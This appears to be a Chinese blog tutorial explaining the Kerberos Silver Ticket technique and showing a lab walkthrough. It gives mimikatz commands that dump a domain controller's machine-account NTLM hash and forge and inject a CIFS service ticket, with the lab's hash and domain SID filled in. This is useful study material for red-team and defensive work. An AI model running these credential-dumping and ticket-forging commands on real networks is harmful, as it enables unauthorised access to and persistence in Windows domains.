前言
在了解了kerberos流程之后,我们相继学习了ms14-068的利用、黄金票据。从整个流程中每次认证中可以帮助我们很好理解一些利用方式。今天学习内网利用票据横向的另一种方式:白银票据(Silver Ticket)。
概念
白银票据(Silver Ticket):即伪造的TGS票据,也称服务票据ST(也就是在第三次认证中主要用于Client和Server通信上)。通过伪造的TGS,可以直接发送给Server,访问指定的某个服务,来进行攻击。此过程无需KDC。
原理
那么TGS票据又是如何怎么被伪造的?我们依然来看一下kerberos认证学习的第三次认证。
在第三次认证中,Client会向Server发送KRB_AP_REQ
,大概包括两部分
一部分:Session tgs 加密的 Client-info、timestamp 等
一部分:ST(ticket):由Server NTLM-hash加密的数据(Session-key tgs、timestamp、Client-info)
也就是说当我们知道Server NTLM-hash值时,就可以伪造服务票据ST,也就是TGS票据。
利用条件
域名称
域的SID
域中Server服务器账户的NTLM-Hash
伪造任意的用户名
域名称和域SID都可以在内网中信息收集而来,但Server的NTLM-Hash值怎么获取?
如果是域控制器,那就代表DC已经被拿下了。这样才会有NTLM-Hash。
PS:个人认为也属于建立后门维持权限的一种。
实践过程
假设我们获取了域控制器Server 2012 的权限,为cifs服务创建白银票据,来获得目标计算机的文件共享。
域控制器:Server 2012
域用户:Server 2008
1.在server 2012导出hash
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
image.png
注意是SERVER2012$用户的NTLM-Hash,非administrator,因为要利用共享服务账号
NTLM: 1ea555d064c4435d3b0ec5fd319f06aa
SID: S-1-5-21-1082813543-4064396809-3123302706 没有RID(500)
2. 为cifs服务伪造Silver Ticket
kerberos::purge 清除票据
kerberos::golden /domain:域名 /sid:SID /target:域全称 /service:要访问的服务 /rc4:NTLM /user:username /ptt
1. /domain:域名
2. /sid:SID值
3. /target: 域控制器全称
4. /service: 需要指定相关的服务名,此处为cifs
5. /rc4: 域控的计算机账户ntlm hash
6. /user: 要伪造的用户名,任意填写
为cifs服务创建白银票据,用于访问目标计算机上的任何共享。
Silver Ticket 生成时指定了相关的服务名,因此只能用来访问相对应的服务,因此局限性比较大。
还有一些其他的服务:
服务名称 同时需要的服务
WMI HOST、RPCSS
PowerShell Remoting HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
Windows File Share CIFS
LDAP LDAP
Windows Remote Server RPCSS、LDAP、CIFS
所以该命令为:
mimikatz.exe "kerberos::golden /domain:tide.org /sid:S-1-5-21-1082813543-4064396809-3123302706 /target:server2012.tide.org /service:cifs /rc4:1ea555d064c4435d3b0ec5fd319f06aa /user:silver /ptt"
image.png
可成功访问域控制器的文件共享。
参考资料
域渗透之票据
域渗透 | 白银票据利用
Kerberos的白银票据详解
[域渗透] - Pass the Ticket之金票&银票
网友评论